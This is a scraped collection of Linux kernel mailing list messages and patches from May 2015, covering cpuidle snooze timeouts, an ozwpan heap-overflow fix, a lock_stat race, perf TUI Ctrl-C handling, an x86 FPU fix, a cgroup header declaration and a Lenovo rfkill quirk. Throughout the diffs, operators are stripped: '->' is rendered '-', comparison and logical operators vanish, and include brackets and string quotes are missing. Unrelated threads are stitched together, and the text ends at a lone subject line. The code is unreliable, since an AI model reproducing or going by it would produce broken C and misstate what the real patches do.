max_idle_state = powernv_add_idle_states();
+ if (max_idle_state 1) {
+ snooze_timeout_en = true;
+ snooze_timeout = powernv_states[1].target_residency *
+tb_ticks_per_usec;
+ }
} else
return -ENODEV;
diff --git a/drivers/cpuidle/cpuidle-pseries.c
b/drivers/cpuidle/cpuidle-pseries.c
index bb9e2b6..07135e0 100644
--- a/drivers/cpuidle/cpuidle-pseries.c
+++ b/drivers/cpuidle/cpuidle-pseries.c
@@ -27,6 +27,8 @@ struct cpuidle_driver pseries_idle_driver = {
static int max_idle_state;
static struct cpuidle_state *cpuidle_state_table;
+static u64 snooze_timeout;
+static bool snooze_timeout_en;
static inline void idle_loop_prolog(unsigned long *in_purr)
{
@@ -58,14 +60,18 @@ static int snooze_loop(struct cpuidle_device *dev,
int index)
{
unsigned long in_purr;
+ u64 snooze_exit_time;
idle_loop_prolog(in_purr);
local_irq_enable();
set_thread_flag(TIF_POLLING_NRFLAG);
+ snooze_exit_time = get_tb() + snooze_timeout;
while (!need_resched()) {
HMT_low();
HMT_very_low();
+ if (snooze_timeout_en get_tb() snooze_exit_time)
+ break;
}
HMT_medium();
@@ -244,6 +250,11 @@ static int pseries_idle_probe(void)
} else
return -ENODEV;
+ if (max_idle_state 1) {
+ snooze_timeout_en = true;
+ snooze_timeout = cpuidle_state_table[1].target_residency *
+tb_ticks_per_usec;
+ }
return 0;
}
--
1.9.3
--
To unsubscribe from this list: send the line unsubscribe linux-kernel in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH v3 1/4] ozwpan: Use proper check to prevent heap overflow
Hi,
On Fri, May 29, 2015 at 2:00 PM, Dan Carpenter dan.carpen...@oracle.com wrote:
On Fri, May 29, 2015 at 01:06:58PM +0200, Jason A. Donenfeld wrote:
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -390,10 +390,15 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
case OZ_GET_DESC_RSP: {
struct oz_get_desc_rsp *body =
(struct oz_get_desc_rsp *)usb_hdr;
- int data_len = elt-length -
- sizeof(struct oz_get_desc_rsp) + 1;
- u16 offs = le16_to_cpu(get_unaligned(body-offset));
- u16 total_size =
+ u16 offs, total_size;
+ u8 data_len;
+
+ if (elt-length sizeof(struct oz_get_desc_rsp) - 1)
+ break;
+ data_len = elt-length -
+ (sizeof(struct oz_get_desc_rsp) - 1);
Gar... I'm really sorry. I wanted to Ack these and be done but why did
the + 1 change to a - 1? And I had the same question about the other
patch as well.
I would say that it is because part of the expression has been placed
inside parentheses:
a - b + 1 == a - (b - 1)
Guess it makes the decision logic slightly more readable.
Frans
--
To unsubscribe from this list: send the line unsubscribe linux-kernel in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [RFC][PATCH] x86: remove vmalloc.h from asm/io.h
Hi Ingo, On Fri, 29 May 2015 11:21:05 +0200 Ingo Molnar mi...@kernel.org wrote: Good idea. Acked-by: Ingo Molnar mi...@kernel.org Thanks. Please also test x86 allnoconfig and defconfig 32/64, that tends to unearth the remaining places. People doing randconfig testing will find the rest. Good idea. the allnoconfigs produced this further patch. I will squash it into the original. The defconfigs built ok. From: Stephen Rothwell s...@canb.auug.org.au Date: Fri, 29 May 2015 22:01:41 +1000 Subject: [PATCH] x86: more fixes for removing vmalloc.h fron asm/io.h Signed-off-by: Stephen Rothwell s...@canb.auug.org.au --- arch/x86/include/asm/io.h | 1 + include/linux/io.h| 1 + 2 files changed, 2 insertions(+) diff --git a/arch/x86/include/asm/io.h b/arch/x86/include/asm/io.h index 5791e7ace9db..2a3543a4db1d 100644 --- a/arch/x86/include/asm/io.h +++ b/arch/x86/include/asm/io.h @@ -40,6 +40,7 @@ #include linux/compiler.h #include asm/page.h #include asm/early_ioremap.h +#include asm/pgtable_types.h #define build_mmio_read(name, size, type, reg, barrier) \ static inline type name(const volatile void __iomem *addr) \ diff --git a/include/linux/io.h b/include/linux/io.h index 986f2bffea1e..cb753a2450b8 100644 --- a/include/linux/io.h +++ b/include/linux/io.h @@ -19,6 +19,7 @@ #define _LINUX_IO_H #include linux/types.h +#include linux/init.h #include asm/io.h #include asm/page.h -- 2.1.4 -- Cheers, Stephen Rothwells...@canb.auug.org.au pgpCsTXrPJ6iJ.pgp Description: OpenPGP digital signature
Re: [PATCH] perf annotate: fix -i option, which is currently ignored.
Em Fri, May 29, 2015 at 09:42:41AM -0300, Arnaldo Carvalho de Melo escreveu: Em Fri, May 29, 2015 at 02:06:44PM +0200, Martin Liška escreveu: Assign input_name, received from program arguments, to file data structure. Doesn't apply: pat[acme@zoo linux]$ patch -p1 /wb/1.patch patching file tools/perf/builtin-annotate.c Hunk #1 FAILED at 289. Hunk #2 FAILED at 346. 2 out of 2 hunks FAILED -- saving rejects to file tools/perf/builtin-annotate.c.rej [acme@zoo linux]$ What branch is this intended for? I.e. where have you cloned this from? Yeah, I reproduced the problem and will try to figure this out, but please always be explicit where to apply this. I tried first on perf/core, then on perf/urgent, and it didn't apply in both cases :-( - Arnaldo -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
[PATCH] fix a race between /proc/lock_stat and module unloading
When opening /proc/lock_stat, lock_stat_open() makes a copy of
all_lock_classes list in the form of an array of ad hoc structures
lock_stat_data that reference lock_class, so it can be sorted and
passed to seq_read(). However, nothing prevents module unloading code
to free some of these lock_class structures before seq_read() tries to
access them.
Copying the all lock_class structures instead of just their pointers
would be an easy fix, but it seems quite wasteful. This patch copies
only the needed data into the lock_stat_data structure.
Signed-off-by: Jerome Marchand jmarc...@redhat.com
---
kernel/locking/lockdep_proc.c | 88 ---
1 file changed, 50 insertions(+), 38 deletions(-)
diff --git a/kernel/locking/lockdep_proc.c b/kernel/locking/lockdep_proc.c
index ef43ac4..c2eb8e8 100644
--- a/kernel/locking/lockdep_proc.c
+++ b/kernel/locking/lockdep_proc.c
@@ -363,7 +363,9 @@ static const struct file_operations
proc_lockdep_stats_operations = {
#ifdef CONFIG_LOCK_STAT
struct lock_stat_data {
- struct lock_class *class;
+ char name[39];
+ unsigned long contention_point[LOCKSTAT_POINTS];
+ unsigned long contending_point[LOCKSTAT_POINTS];
struct lock_class_stats stats;
};
@@ -426,39 +428,12 @@ static void seq_lock_time(struct seq_file *m, struct
lock_time *lt)
static void seq_stats(struct seq_file *m, struct lock_stat_data *data)
{
- char name[39];
- struct lock_class *class;
+ char *name = data-name;
struct lock_class_stats *stats;
- int i, namelen;
+ int i, namelen = strlen(data-name);
- class = data-class;
stats = data-stats;
- namelen = 38;
- if (class-name_version 1)
- namelen -= 2; /* XXX truncates versions 9 */
- if (class-subclass)
- namelen -= 2;
-
- if (!class-name) {
- char str[KSYM_NAME_LEN];
- const char *key_name;
-
- key_name = __get_key_name(class-key, str);
- snprintf(name, namelen, %s, key_name);
- } else {
- snprintf(name, namelen, %s, class-name);
- }
- namelen = strlen(name);
- if (class-name_version 1) {
- snprintf(name+namelen, 3, #%d, class-name_version);
- namelen += 2;
- }
- if (class-subclass) {
- snprintf(name+namelen, 3, /%d, class-subclass);
- namelen += 2;
- }
-
if (stats-write_holdtime.nr) {
if (stats-read_holdtime.nr)
seq_printf(m, %38s-W:, name);
@@ -490,32 +465,32 @@ static void seq_stats(struct seq_file *m, struct
lock_stat_data *data)
for (i = 0; i LOCKSTAT_POINTS; i++) {
char ip[32];
- if (class-contention_point[i] == 0)
+ if (data-contention_point[i] == 0)
break;
if (!i)
seq_line(m, '-', 40-namelen, namelen);
snprintf(ip, sizeof(ip), [%p],
- (void *)class-contention_point[i]);
+ (void *)data-contention_point[i]);
seq_printf(m, %40s %14lu %29s %pS\n,
name, stats-contention_point[i],
- ip, (void *)class-contention_point[i]);
+ ip, (void *)data-contention_point[i]);
}
for (i = 0; i LOCKSTAT_POINTS; i++) {
char ip[32];
- if (class-contending_point[i] == 0)
+ if (data-contending_point[i] == 0)
break;
if (!i)
seq_line(m, '-', 40-namelen, namelen);
snprintf(ip, sizeof(ip), [%p],
- (void *)class-contending_point[i]);
+ (void *)data-contending_point[i]);
seq_printf(m, %40s %14lu %29s %pS\n,
name, stats-contending_point[i],
- ip, (void *)class-contending_point[i]);
+ ip, (void *)data-contending_point[i]);
}
if (i) {
seq_puts(m, \n);
@@ -593,6 +568,44 @@ static const struct seq_operations lockstat_ops = {
.show = ls_show,
};
+static void copy_lock_class(struct lock_stat_data *data,
+ struct lock_class *class)
+{
+ char *name = data-name;
+ int namelen = 38;
+
+ if (class-name_version 1)
+ namelen -= 2; /* XXX truncates versions 9 */
+ if (class-subclass)
+ namelen -= 2;
+
+ if (!class-name) {
+ char str[KSYM_NAME_LEN];
+ const char *key_name;
+
+ key_name = __get_key_name(class-key, str);
+ snprintf(name, namelen, %s, key_name);
+ } else {
+ snprintf(name, namelen, %s, class-name);
+ }
Re: linux-next: manual merge of the rcu tree with the modules and tip trees
On Fri, May 29, 2015 at 08:56:04AM +0200, Ingo Molnar wrote: * Paul E. McKenney paul...@linux.vnet.ibm.com wrote: On Thu, May 28, 2015 at 05:25:07PM +1000, Stephen Rothwell wrote: Hi Paul, Today's linux-next merge of the rcu tree got a conflict in include/linux/rcupdate.h between commits 0a04b0166929 (rcu: Move lockless_dereference() out of rcupdate.h) from the modules tree and c1ad348b452a (tick: Nohz: Rework next timer evaluation) from the tip tree and commits 7d0ae8086b82 (rcu: Convert ACCESS_ONCE() to READ_ONCE() and WRITE_ONCE()) and 3382adbc1bb8 (rcu: Eliminate a few CONFIG_RCU_NOCB_CPU_ALL #ifdefs) from the rcu tree. I fixed it up (see below) and can carry the fix as necessary (no action is required). Thank you, Stephen! Ingo, I can send you a pull request as is or I can merge c1ad348b452a with v4.1-rc3, rebase my commits on top of that, and do another cycle through -next. If I don't hear otherwise, I will be lazy and send as is, so if you would prefer something different, please let me know. I think as-is would be better, to not create extra dependencies. I can resolve conflicts in -tip. Very good! I expect to send the pull request tomorrow (Saturday) Pacific time. Thanx, Paul -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH] perf annotate: fix -i option, which is currently ignored.
On 05/29/2015 02:43 PM, Arnaldo Carvalho de Melo wrote: Em Fri, May 29, 2015 at 09:42:41AM -0300, Arnaldo Carvalho de Melo escreveu: Em Fri, May 29, 2015 at 02:06:44PM +0200, Martin Liška escreveu: Assign input_name, received from program arguments, to file data structure. Doesn't apply: pat[acme@zoo linux]$ patch -p1 /wb/1.patch patching file tools/perf/builtin-annotate.c Hunk #1 FAILED at 289. Hunk #2 FAILED at 346. 2 out of 2 hunks FAILED -- saving rejects to file tools/perf/builtin-annotate.c.rej [acme@zoo linux]$ What branch is this intended for? I.e. where have you cloned this from? Yeah, I reproduced the problem and will try to figure this out, but please always be explicit where to apply this. I tried first on perf/core, then on perf/urgent, and it didn't apply in both cases :-( - Arnaldo Hello. I've just pulled perf, patch is a diff against perf/perf/core. $ git log --oneline | head -n2 95b12b3 perf annotate: fix -i option, which is currently ignored. f1942b9 Merge tag 'perf-core-for-mingo' of git://git.kernel.org/pub/scm/linux/kernel/git/acme/linux into perf/core Thanks, Martin -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH] perf annotate: fix -i option, which is currently ignored.
Em Fri, May 29, 2015 at 02:47:39PM +0200, Martin Liška escreveu: On 05/29/2015 02:43 PM, Arnaldo Carvalho de Melo wrote: Em Fri, May 29, 2015 at 09:42:41AM -0300, Arnaldo Carvalho de Melo escreveu: Em Fri, May 29, 2015 at 02:06:44PM +0200, Martin Liška escreveu: Assign input_name, received from program arguments, to file data structure. Doesn't apply: pat[acme@zoo linux]$ patch -p1 /wb/1.patch patching file tools/perf/builtin-annotate.c Hunk #1 FAILED at 289. Hunk #2 FAILED at 346. 2 out of 2 hunks FAILED -- saving rejects to file tools/perf/builtin-annotate.c.rej [acme@zoo linux]$ What branch is this intended for? I.e. where have you cloned this from? Yeah, I reproduced the problem and will try to figure this out, but please always be explicit where to apply this. I tried first on perf/core, then on perf/urgent, and it didn't apply in both cases :-( - Arnaldo Hello. I've just pulled perf, patch is a diff against perf/perf/core. $ git log --oneline | head -n2 95b12b3 perf annotate: fix -i option, which is currently ignored. f1942b9 Merge tag 'perf-core-for-mingo' of git://git.kernel.org/pub/scm/linux/kernel/git/acme/linux into perf/core Rechecking... -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
[PATCH v2] perf tools: Make Ctrl-C stop processing on TUI
It was inconvenient that perf cannot be quit with SIGINT during
processing samples on TUI especially for large data files.
This was because the first argument of SLang_init_tty(), abort_char,
being 0. The manual says it's the ascii value of the control
character that will be used to generate the interrupt signal [1].
Passing -1 means to use the default value (Ctrl-C).
However, after processing samples, Ctrl-C was used to in other cases as
well - like stepping back from annotate. So recover the original
behavior after processing.
[1] http://jedsoft.org/slang/doc/html/cslang-6.html#ss6.1
Signed-off-by: Namhyung Kim namhy...@kernel.org
---
tools/perf/ui/browsers/annotate.c | 4
tools/perf/ui/browsers/hists.c| 4
tools/perf/ui/tui/setup.c | 2 +-
3 files changed, 9 insertions(+), 1 deletion(-)
diff --git a/tools/perf/ui/browsers/annotate.c
b/tools/perf/ui/browsers/annotate.c
index e5250eb2dd57..acb0e23b138e 100644
--- a/tools/perf/ui/browsers/annotate.c
+++ b/tools/perf/ui/browsers/annotate.c
@@ -838,6 +838,10 @@ int map_symbol__tui_annotate(struct map_symbol *ms, struct
perf_evsel *evsel,
int hist_entry__tui_annotate(struct hist_entry *he, struct perf_evsel *evsel,
struct hist_browser_timer *hbt)
{
+ /* reset abort key so that it can get Ctrl-C as a key */
+ SLang_reset_tty();
+ SLang_init_tty(0, 0, 0);
+
return map_symbol__tui_annotate(he-ms, evsel, hbt);
}
diff --git a/tools/perf/ui/browsers/hists.c b/tools/perf/ui/browsers/hists.c
index f981cb8f0158..e64893f2fd7f 100644
--- a/tools/perf/ui/browsers/hists.c
+++ b/tools/perf/ui/browsers/hists.c
@@ -1741,6 +1741,10 @@ static int perf_evsel__hists_browse(struct perf_evsel
*evsel, int nr_events,
if (browser == NULL)
return -1;
+ /* reset abort key so that it can get Ctrl-C as a key */
+ SLang_reset_tty();
+ SLang_init_tty(0, 0, 0);
+
if (min_pcnt) {
browser-min_pcnt = min_pcnt;
hist_browser__update_nr_entries(browser);
diff --git a/tools/perf/ui/tui/setup.c b/tools/perf/ui/tui/setup.c
index b77e1d771363..60d1f29b4b50 100644
--- a/tools/perf/ui/tui/setup.c
+++ b/tools/perf/ui/tui/setup.c
@@ -129,7 +129,7 @@ int ui__init(void)
err = SLsmg_init_smg();
if (err 0)
goto out;
- err = SLang_init_tty(0, 0, 0);
+ err = SLang_init_tty(-1, 0, 0);
if (err 0)
goto out;
--
2.4.0
--
To unsubscribe from this list: send the line unsubscribe linux-kernel in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCHv3 1/4] phy: phy-core: Make GENERIC_PHY an invisible option
Hi Kishon, Arun, On 05/29/2015 02:37 PM, Kishon Vijay Abraham I wrote: Tejun, Maxime, Sylwester, Kyungmin On Thursday 23 April 2015 04:34 AM, Arun Ramamurthy wrote: Most of the phy providers use select to enable GENERIC_PHY. Since select is only recommended when the config is not visible, GENERIC_PHY is changed an invisible option. To maintain consistency, all phy providers are changed to select GENERIC_PHY and all non-phy drivers use depends on when the phy framework is explicity required. USB_MUSB_OMAP2PLUS has a cyclic dependency, so it is left as select. Signed-off-by: Arun Ramamurthy arun.ramamur...@broadcom.com Need your ACK for this patch. For the STi part, you can add my: Acked-by: Maxime Coquelin maxime.coque...@st.com Regards, Maxime -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH 0/7] ARM CCI PMU updates for 4.2
On 29/05/15 13:49, Arnd Bergmann wrote: On Friday 29 May 2015 10:29:07 Suzuki K. Poulose wrote: Hi arm-soc folk, On 26/05/15 10:53, Suzuki K. Poulose wrote: From: Suzuki K. Poulose suzuki.poul...@arm.com Here is the series which adds support for the CCI-500 PMU. Could you please apply this for 4.2 ? Please let me know if you need a pull request, I could ask Will to setup one. Gentle ping on this series for 4.2. I missed this at first because you're not on my mental list of people that normally send pull requests (i.e. platform maintainers). Feel free to reach out to me on IRC when you send more of this, so I don't easily skip over it. Sure. I've applied it to next/drivers now, thanks! Thanks ! Suzuki -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH] x86/fpu: Fix FPU register read access to the current task
Ingo Molnar mi...@kernel.org wrote:
Good catch, this shows a bug in the new FPU code.
Could you check whether the fix below solves the problem?
Yes, it certainly does. Thanks.
Tested-By: Bobby Powers bobbypow...@gmail.com
yours,
Bobby
From 47f01e8cc23f3d041f6b9fb97627369eaf75ba7f Mon Sep 17 00:00:00 2001
From: Ingo Molnar mi...@kernel.org
Date: Wed, 27 May 2015 12:22:29 +0200
Subject: [PATCH] x86/fpu: Fix FPU register read access to the current task
Bobby Powers reported the following FPU warning during ELF coredumping:
WARNING: CPU: 0 PID: 27452 at arch/x86/kernel/fpu/core.c:324
fpu__activate_stopped+0x8a/0xa0()
This warning unearthed an invalid assumption about fpu__activate_stopped()
that I added in:
67e97fc2ec57 (x86/fpu: Rename init_fpu() to fpu__unlazy_stopped() and add
debugging check)
the old init_fpu() function had an (intentional but obscure) side effect:
when FPU registers are accessed for the current task, for reading, then
it synchronized live in-register FPU state with the fpstate by saving it.
So fix this bug by saving the FPU if we are the current task. We'll
still warn in fpu__save() if this is called for not yet stopped
child tasks, so the debugging check is still preserved.
Also rename the function to fpu__activate_fpstate(), because it's not
exclusively used for stopped tasks, but for the current task as well.
( Note that this bug calls for a cleaner separation of access-for-read
and access-for-modification FPU methods, but we'll do that in separate
patches. )
Reported-by: Bobby Powers bobbypow...@gmail.com
Cc: Andy Lutomirski l...@amacapital.net
Cc: Borislav Petkov b...@alien8.de
Cc: Dave Hansen dave.han...@linux.intel.com
Cc: Fenghua Yu fenghua...@intel.com
Cc: H. Peter Anvin h...@zytor.com
Cc: Linus Torvalds torva...@linux-foundation.org
Cc: Oleg Nesterov o...@redhat.com
Cc: Peter Zijlstra pet...@infradead.org
Cc: Thomas Gleixner t...@linutronix.de
Signed-off-by: Ingo Molnar mi...@kernel.org
---
arch/x86/include/asm/fpu/internal.h | 2 +-
arch/x86/kernel/fpu/core.c | 43
+
arch/x86/kernel/fpu/regset.c| 12 +--
3 files changed, 32 insertions(+), 25 deletions(-)
diff --git a/arch/x86/include/asm/fpu/internal.h
b/arch/x86/include/asm/fpu/internal.h
index 99690bed920a..62d13d515f95 100644
--- a/arch/x86/include/asm/fpu/internal.h
+++ b/arch/x86/include/asm/fpu/internal.h
@@ -22,7 +22,7 @@
* High level FPU state handling functions:
*/
extern void fpu__activate_curr(struct fpu *fpu);
-extern void fpu__activate_stopped(struct fpu *fpu);
+extern void fpu__activate_fpstate(struct fpu *fpu);
extern void fpu__save(struct fpu *fpu);
extern void fpu__restore(struct fpu *fpu);
extern int fpu__restore_sig(void __user *buf, int ia32_frame);
diff --git a/arch/x86/kernel/fpu/core.c b/arch/x86/kernel/fpu/core.c
index 01a15503c3be..b41049247cfa 100644
--- a/arch/x86/kernel/fpu/core.c
+++ b/arch/x86/kernel/fpu/core.c
@@ -296,40 +296,47 @@ void fpu__activate_curr(struct fpu *fpu)
EXPORT_SYMBOL_GPL(fpu__activate_curr);
/*
- * This function must be called before we modify a stopped child's
- * fpstate.
+ * This function must be called before we read or write a task's fpstate.
*
- * If the child has not used the FPU before then initialize its
+ * If the task has not used the FPU before then initialize its
* fpstate.
*
- * If the child has used the FPU before then unlazy it.
+ * If the task has used the FPU before then save and unlazy it.
*
- * [ After this function call, after registers in the fpstate are
+ * [ If this function is used for non-current child tasks, then
+ * after this function call, after registers in the fpstate are
* modified and the child task has woken up, the child task will
* restore the modified FPU state from the modified context. If we
* didn't clear its lazy status here then the lazy in-registers
* state pending on its former CPU could be restored, corrupting
- * the modifications. ]
+ * the modifications.
*
- * This function is also called before we read a stopped child's
- * FPU state - to make sure it's initialized if the child has
- * no active FPU state.
+ * This function can be used for the current task as well, but
+ * only for reading the fpstate. Modifications to the fpstate
+ * will be lost on eagerfpu systems. ]
*
* TODO: A future optimization would be to skip the unlazying in
* the read-only case, it's not strictly necessary for
* read-only access to the context.
*/
-void fpu__activate_stopped(struct fpu *child_fpu)
+void fpu__activate_fpstate(struct fpu *fpu)
{
- WARN_ON_FPU(child_fpu == current-thread.fpu);
-
- if (child_fpu-fpstate_active) {
- child_fpu-last_cpu = -1;
+ /*
+* If fpregs are active (in the current CPU), then
+* copy
Re: [PATCH v3 1/4] sched/rt: Check to push the task away after its affinity was changed
On Tue, May 12, 2015 at 10:46:41PM +0800, Xunlei Pang wrote:
@@ -2278,6 +2279,20 @@ static void set_cpus_allowed_rt(struct task_struct *p,
}
update_rt_migration(rq-rt);
+
+check_push:
+ if (weight 1
+ !task_running(rq, p)
+ !test_tsk_need_resched(rq-curr)
+ !cpumask_subset(new_mask, p-cpus_allowed)) {
+ /* Update new affinity and try to push. */
+ cpumask_copy(p-cpus_allowed, new_mask);
+ p-nr_cpus_allowed = weight;
+ push_rt_tasks(rq);
+ return true;
+ }
+
+ return false;
}
I think this is broken; push_rt_tasks() will do double_rq_lock() which
will drop rq-lock.
This means load-balancing can come in and move our task p; in fact,
push_rt_task() can do exactly that -- after all that was the point of
this patch.
_However_ this means that after calling -set_cpus_allowed() we must not
assume @p is on @rt, yet we do. Look at __set_cpus_allowed_ptr(), we'll
call move_queued_task() if (!running || waking) on_rq, and
move_queued_task() happily calls dequeue_task(rq, p), which will go
*boom*.
I currently do not have a better idea than to repurpose the PUSH_IPI
stuff, that is, send a self IPI to go do the push or somesuch. Lemme
stare at this a little more.
--
To unsubscribe from this list: send the line unsubscribe linux-kernel in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH] cgroup: add seq_file forward declaration for struct cftype
Hello, Arnd. Applied to cgroup/for-4.2 with the declaration moved so that it's where others are. Sorry that I missed that. Thanks. - 8 - From c80ef9e0c021ff86771fdd72583c75d8f7b6a720 Mon Sep 17 00:00:00 2001 From: Arnd Bergmann a...@arndb.de Date: Fri, 29 May 2015 10:52:59 +0200 Subject: [PATCH] cgroup: add seq_file forward declaration for struct cftype Recent header file changes for cgroup caused lots of warnings about a missing struct seq_file form declaration for every inclusion of include/linux/cgroup-defs.h. As some files are built with -Werror, this leads to build failure like: from /git/arm-soc/drivers/gpu/drm/tilcdc/tilcdc_crtc.c:18: /git/arm-soc/include/linux/cgroup-defs.h:354:25: error: 'struct seq_file' declared inside parameter list [-Werror] cc1: all warnings being treated as errors make[6]: *** [drivers/gpu/drm/tilcdc/tilcdc_crtc.o] Error 1 This patch adds the declaration, which resolves both the warnings and the drm failure. tj: Moved it where other type declarations are. Signed-off-by: Arnd Bergmann a...@arndb.de Fixes: b4a04ab7a37b (cgroup: separate out include/linux/cgroup-defs.h) Signed-off-by: Tejun Heo t...@kernel.org --- include/linux/cgroup-defs.h | 1 + 1 file changed, 1 insertion(+) diff --git a/include/linux/cgroup-defs.h b/include/linux/cgroup-defs.h index 7d83d7f..26d1cea 100644 --- a/include/linux/cgroup-defs.h +++ b/include/linux/cgroup-defs.h @@ -26,6 +26,7 @@ struct cgroup_taskset; struct kernfs_node; struct kernfs_ops; struct kernfs_open_file; +struct seq_file; #define MAX_CGROUP_TYPE_NAMELEN 32 #define MAX_CGROUP_ROOT_NAMELEN 64 -- 2.4.0 -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
[PATCH] ideapad_laptop: Add Lenovo G50-30 to devices without radio switch
From: Dmitry Tunin hanipouspi...@gmail.com
Lenovo G50-30 rfkill always reports wireless blocked fix.
BugLink: https://bugs.launchpad.net/bugs/1397021
Cc: platform-driver-...@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Signed-off-by: Dmitry Tunin hanipouspi...@gmail.com
Signed-off-by: Philippe Coval philippe.co...@open.eurogiciel.org
---
drivers/platform/x86/ideapad-laptop.c | 7 +++
1 file changed, 7 insertions(+)
diff --git a/drivers/platform/x86/ideapad-laptop.c
b/drivers/platform/x86/ideapad-laptop.c
index b496db8..6e82520 100644
--- a/drivers/platform/x86/ideapad-laptop.c
+++ b/drivers/platform/x86/ideapad-laptop.c
@@ -837,6 +837,13 @@ static const struct dmi_system_id no_hw_rfkill_list[] = {
},
},
{
+ .ident = Lenovo G50-30,
+ .matches = {
+ DMI_MATCH(DMI_SYS_VENDOR, LENOVO),
+ DMI_MATCH(DMI_PRODUCT_VERSION, Lenovo G50-30),
+ },
+ },
+ {
.ident = Lenovo Yoga 2 11 / 13 / Pro,
.matches = {
DMI_MATCH(DMI_SYS_VENDOR, LENOVO),
--
1.9.1
--
To unsubscribe from this list: send the line unsubscribe linux-kernel in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH 1/6] pmem: add force casts to avoid __iomem annotation
On Fri, May 29, 2015 at 5:53 AM, Dan Williams dan.j.willi...@intel.com wrote: On Fri, May 29, 2015 at 4:39 AM, Ross Zwisler zwis...@gmail.com wrote: On Thu, 2015-05-28 at 15:47 -0700, Dan Williams wrote: On Thu, May 28, 2015 at 3:35 PM, Ross Zwisler ross.zwis...@linux.intel.com wrote: Even though we use ioremap_nocache() to map our persistent memory in the pmem driver, the memory we are mapping behaves like normal memory and not I/O memory in that it can be accessed using regular memcpy() operations and doesn't need to go through memcpy_toio() and memcpy_fromio(). Force casting the pointers received from ioremap_nocache() and given to iounmap() gives us the correct behavior and makes sparse happy. Signed-off-by: Ross Zwisler ross.zwis...@linux.intel.com Cc: Dan Williams dan.j.willi...@intel.com Cc: linux-nvd...@lists.01.org --- drivers/block/nd/pmem.c | 7 --- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/drivers/block/nd/pmem.c b/drivers/block/nd/pmem.c index 5e8c9c629f22..a8712e41e7f5 100644 --- a/drivers/block/nd/pmem.c +++ b/drivers/block/nd/pmem.c @@ -163,7 +163,8 @@ static struct pmem_device *pmem_alloc(struct device *dev, struct resource *res, * of the CPU caches in case of a crash. */ err = -ENOMEM; - pmem-virt_addr = ioremap_nocache(pmem-phys_addr, pmem -size); + pmem-virt_addr = (__force void *)ioremap_nocache(pmem -phys_addr, + pmem-size); I think I'd rather see casting when -virt_addr is used (the __io_virt() helper can be used to make this a tad cleaner), or provide ioremap apis that don't attach __iomem to their return value. Because in this and other cases ioremap() is being on non i/o memory. The reason that I thought this was cleaner was that now when you look at the pmem-virt_addr definition it is just a clean void* with no annotations. This correctly describes the memory to the user (it's usable as regular memory, it's in the kernel address space, etc.). Having the pointer itself annotated with __iomem feels weird to me because a random well meaning user could incorrectly try to use it as I/O memory. pmem-virt_addr does not leak outside the driver to random well meaning users. I think we have two options, provide physical address remap helpers from the outset (memremap()?) that don't attach __iomem, or put the casts on the non-iomem usages. In other words, I don't like the fact that we apply a coarse / private hack to fix a general kernel mis-annotation problem. Either fix it for everybody with something like memremap() or use __io_virt() to document the non-iomem usages of pmem-virt_addr like the other iomem-to-undecorated pointer helper routines in the kernel. -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH] kernel:workqueue - Fix typos in comments.
On Thu, May 28, 2015 at 05:06:10PM -0700, Randy Dunlap wrote:
On 05/22/15 22:08, Shailendra Verma wrote:
Signed-off-by: Shailendra Verma shailendra.capric...@gmail.com
---
kernel/workqueue.c | 12 ++--
1 file changed, 6 insertions(+), 6 deletions(-)
diff --git a/kernel/workqueue.c b/kernel/workqueue.c
index 586ad91..17d3021 100644
--- a/kernel/workqueue.c
+++ b/kernel/workqueue.c
@@ -5047,7 +5047,7 @@ static void __init wq_numa_init(void)
node = cpu_to_node(cpu);
if (WARN_ON(node == NUMA_NO_NODE)) {
pr_warn(workqueue: NUMA node mapping not available for
cpu%d, disabling NUMA support\n, cpu);
- /* happens iff arch is bonkers, let's just proceed */
+ /* happens if arch is bonkers, let's just proceed */
not a typo.
Right, patch updated.
Thanks.
--
tejun
--
To unsubscribe from this list: send the line unsubscribe linux-kernel in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH v2] perf tools: Make Ctrl-C stop processing on TUI
